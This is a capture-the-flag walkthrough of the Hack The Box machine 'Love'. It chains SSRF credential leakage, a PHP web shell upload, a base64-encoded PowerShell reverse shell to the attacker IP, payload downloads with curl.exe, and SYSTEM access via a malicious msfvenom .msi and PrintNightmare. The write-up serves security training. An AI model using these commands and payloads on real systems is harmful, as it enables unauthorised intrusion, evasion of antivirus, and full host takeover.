Love from Hack The Box hosts a voting system application and an online file scanner. The file scanner is vulnerable to SSRF, which can be exploited to leak a set of credentials that can be used to login into the voting app. The photo upload functionality can be leveraged to drop a web shell, which is then used to gain interactive shell access on the machine. Enumeration of the system reveals that AlwaysInstallElevated
is enabled, and this can be leveraged to install a malicious .msi
installer and get SYSTEM access.
Skills Learned
- SSRF
- Abusing Windows AlwaysInstallElevated
- (Alternative) PrintNightmare LPE
Tools
- Nmap
- Burp Suite
- WinPEAS
- msfvenom
Reconnaissance
Nmap
A full TCP scan scan discovers a bunch of open ports.
→ kali@kali «love» «10.10.14.51»
$ fscan 10.10.10.239 love
nmap -p- --min-rate=1000 10.10.10.239 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 -sC -sV -oA nmap/10-tcp-allport-love 10.10.10.239
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 11:29 EDT
Nmap scan report for 10.10.10.239
Host is up (0.087s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, NULL, NotesRPC, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:
|_ Host '10.10.14.51' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
|_ssl-date: 2021-08-08T15:53:52+00:00; +21m37s from scanner time.
| tls-alpn:
|_ http/1.1
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=8/8%Time=610FF878%P=x86_64-pc-linux-gnu%r(NUL
SF:L,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.51'\x20is\x20not\x20allowe
...[SNIP]...
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h06m37s, deviation: 3h30m01s, median: 21m36s
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-08-08T08:53:41-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-08-08T15:53:43
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.03 seconds
Most notable services are:
- An Apache web server that handles 3 websites on port 80, 443, and 5000 (this one is forbidden).
- SMB on port 445, good start.
- A MySQL server on port 3306, I will stay away from this for now because IP block
- WinRM on 5985/6, I will use this for lateral movement if I have creds.
Seeing Apache and MySQL on a Windows host, I can assume that this machine uses XAMPP.
Nmap also identified two hostnames: www.love.htb
and staging.love.htb
. I will add these to my /etc/hosts
.
→ root@kali «love» «10.10.14.51»
$ sudo echo 'www.love.htb staging.love.htb' >> /etc/hosts
Enumeration
TCP 445 - SMB
Anonymous login is not allowed here, I will re-visit this later when I have creds.
→ root@kali «love» «10.10.14.51»
$ smbclient -N -L //10.10.10.239
session setup failed: NT_STATUS_ACCESS_DENIED
TCP 5000
Visiting this port results in a 403 Forbidden message error.
TCP 80 - Website
Visiting port 80 with the IP or the hostname returns the same content.
→ kali@kali «love» «10.10.14.51»
$ for i in 10.10.10.239 www.love.htb; do echo -n "$i "; curl -s $i | wc -c; done
10.10.10.239 4388
www.love.htb 4388
On the browser, the site displays a login form of a Voting System app.
Trying some random IDs and common passwords didn’t work here.
Gobuster
Gobuster
discovers a bunch of directories, but one that stands out is /admin
.
→ kali@kali «love» «10.10.14.51»
$ gobuster dir -f -u http://www.love.htb/ -w /opt/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -x txt,php -o gobuster/gobuster-S-80 -t 40
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://www.love.htb/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2021/08/08 13:16:14 Starting gobuster in directory enumeration mode
===============================================================
/cgi-bin/ (Status: 403) [Size: 302]
/admin/ (Status: 200) [Size: 6198]
/includes/ (Status: 200) [Size: 2261]
/plugins/ (Status: 200) [Size: 2490]
/images/ (Status: 200) [Size: 2719]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/login.php (Status: 302) [Size: 0] [--> index.php]
/webalizer/ (Status: 403) [Size: 302]
/home.php (Status: 302) [Size: 0] [--> index.php]
/index.php (Status: 200) [Size: 4388]
/phpmyadmin/ (Status: 403) [Size: 302]
/icons/ (Status: 200) [Size: 74798]
/preview.php (Status: 302) [Size: 0] [--> index.php]
/examples/ (Status: 503) [Size: 402]
/dist/ (Status: 200) [Size: 1389]
/tcpdf/ (Status: 200) [Size: 2710]
/licenses/ (Status: 403) [Size: 421]
/server-status/ (Status: 403) [Size: 421]
/con.php (Status: 403) [Size: 302]
/con/ (Status: 403) [Size: 302]
/con.txt (Status: 403) [Size: 302]
/aux/ (Status: 403) [Size: 302]
/aux.php (Status: 403) [Size: 302]
/aux.txt (Status: 403) [Size: 302]
===============================================================
2021/08/08 13:18:01 Finished
===============================================================
/admin
When I visit /admin
, the page presents the same login form. But this time, instead of voter’s ID, it uses username.
Submitting several credentials only reveals that admin
is a valid username here.
TCP 80 - staging.love.htb
On staging.love.htb
, the site provides an online file scanner.
The “Demo” menu points to /beta.php
, and it allows visitor to insert a URL there.
While having my netcat listener in listening mode, I entered my HTB IP there, and my listener received the following request.
→ kali@kali «love» «10.10.14.51»
$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.51] from (UNKNOWN) [10.10.10.239] 49806
GET /iamf HTTP/1.1
Host: 10.10.14.51
Accept: */*
Based on the received request, I’m guessing the request was crafted using PHP curl. If the user agent contains “WindowsPowerShell”, I’m going to use Responder to see if I can steal the NTLMv2 response.
Playing a bit with it reveals that it can render HTML.
The key take away from here is that staging.love.htb/beta.php
can make a HTTP request.
TCP 443 - Website
On HTTPS, the SSL certificate leaks an email address and a potential username: roy@love.htb
.
And both the HTTPS versions of www.love.htb
and staging.love.htb
return the Forbidden message error.
Foothold
Shell as phoebe
SSRF
The behavior of the file scanner on staging.love.htb
making a HTTP (not always) request can be abused to access internal resources that previously were inaccessible due to IP restrictions. This attack is often referred as Server-Side Request Forgery (SSRF).
When I submit file:///C:/xampp/apache/conf/extra/httpd-vhosts.conf
, it returns the virtual host configuration file.
The string “C:/xampp/htdocs/passwordmanager” immediately draws my attention. Based on that config, the service on port 5000 is a password manager, and the access is limited to only allow connections from 127.0.0.1
.
Assuming there is an index file, I try to submit file:///C:/xampp/htdocs/passwordmanager/index.php
, and the file is exist.
Now if I submit file:///C:/xampp/htdocs/passwordmanager/creds.txt
, it returns the following:
Alternatively, I can just visit http://127.0.0.1:5000/
and the file scanner will render the page of password manager, in which contains the admin credentials.
I can use that creds to access the admin dashboard.
PHP webshell
On admin/voters.php
, there is a photo upload feature.
I will intercept the request to modify the photo section to a PHP web shell and then send it afterwards. It gets uploaded smoothly.
When I reload the page, I see the voter I added is there with broken photo, and that because it loads my PHP web shell as image.
The uploaded web shell is accessible at http://www.love.htb/images/shell.php
, and now I have code execution as phoebe.
Interactive shell access
To get an interactive shell I will use a PowerShell one-liner reverse shell.
→ kali@kali «love» «10.10.14.51»
$ cat exploits/revshell.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.51',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Because it is a Windows machine, I will encoded it with base64 to avoid AV.
→ kali@kali «love» «10.10.14.51»
$ cat exploits/revshell.ps1| iconv -t UTF-16LE| base64 -w0
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANQAxACcALAA1ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkACgA=
I will setup a listener and leverage the web shell to execute my payload.
http://www.love.htb/images/shell.php?f=powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANQAxACcALAA1ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkACgA=
On my listener.
→ kali@kali «love» «10.10.14.51»
$ rlwrap nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.51] from (UNKNOWN) [10.10.10.239] 49950
PS C:\xampp\htdocs\omrs\images>
The user flag is done here.
PS C:\Users\Phoebe\Desktop> dir
Directory: C:\Users\Phoebe\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 8/8/2021 3:50 AM 34 user.txt
PS C:\Users\Phoebe\Desktop> type user.txt
65a5...[SNIP]...
The flag also accessible using SSRF.
Privilege Escalation
Shell as SYSTEM
Enumeration
WinPEAS finds that AlwaysInstallElevated
is set to 1. This means installation of an app always runs in elevated mode (SYSTEM), and it can be abused to install a malicious .msi
package.
[+] Checking AlwaysInstallElevated
[?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
Exploitation - Malicious .msi Installer
I will generate a malicious .msi
that will add a user with administrative access using msfvenom
→ kali@kali «exploits» «10.10.14.51»
$ msfvenom -p windows/adduser USER=iamf PASS=P@ssword123! -f msi -o iamf.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 270 bytes
Final size of msi file: 159744 bytes
Saved as: iamf.msi
I will host the .msi
using Python web server.
On Love, I will grab the msi and install the package immediately.
PS C:\Users\Public> curl.exe -O 10.10.14.53/iamf.msi
PS C:\Users\Public> msiexec /quiet /qn /i iamf.msi
PS C:\Users\Public> net user
User accounts for \\LOVE
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
iamf Phoebe WDAGUtilityAccount
The command completed successfully.
PS C:\Users\Public>
Psexec - SYSTEM
I can login using my backdoor user with help of psexec.py
.
→ root@kali «exploits» «10.10.14.49»
$ psexec.py love/iamf:'P@ssword123!'@10.10.10.239
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.239.....
[*] Found writable share ADMIN$
[*] Uploading file VlzRTIEE.exe
[*] Opening SVCManager on 10.10.10.239.....
[*] Creating service lRbn on 10.10.10.239.....
[*] Starting service lRbn.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\system
C:\WINDOWS\system32>hostname
love
(Alternative) PrintNightmare
Love also vulnerable to LPE PrintNightmare.
PS C:\Users\Phoebe\Downloads> Get-Service -name spooler
Status Name DisplayName
------ ---- -----------
Running spooler Print Spooler
PS C:\Users\Phoebe\Downloads> curl.exe -O 10.10.14.51/CVE-2021-1675.ps1
PS C:\Users\Phoebe\Downloads> Import-Module .\CVE-2021-1675.ps1
PS C:\Users\Phoebe\Downloads> Invoke-Nightmare
PS C:\Users\Phoebe\Downloads> net user
User accounts for \\LOVE
-------------------------------------------------------------------------------
adm1n Administrator DefaultAccount
Guest iamf Phoebe
WDAGUtilityAccount
The command completed successfully.
I can login via WinRM.
→ kali@kali «love» «10.10.14.51»
$ evil-winrm -i 10.10.10.239 -u 'adm1n' -p'P@ssw0rd'
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adm1n\Documents> hostname
Love